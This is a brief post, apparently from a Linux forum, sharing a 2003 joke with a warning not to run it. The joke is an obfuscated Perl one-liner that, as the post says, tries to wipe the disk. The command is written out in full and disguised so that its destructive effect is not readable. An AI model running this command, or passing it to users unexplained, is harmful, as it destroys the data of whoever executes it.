Hilarious, how an old joke from 2003 is still relevant today.

Please, please, please don't execute it. It will try to wipe you disk.

    cat "test... test... test..." | perl -e '$??s:;s:s;;$?::s;;=]=>%-{<-|}<&|`{;;y; -/:-@[-`{-};`-{/" -;;s;;$_;see'

Origin: https://www.linux.org.ru/forum/development/392747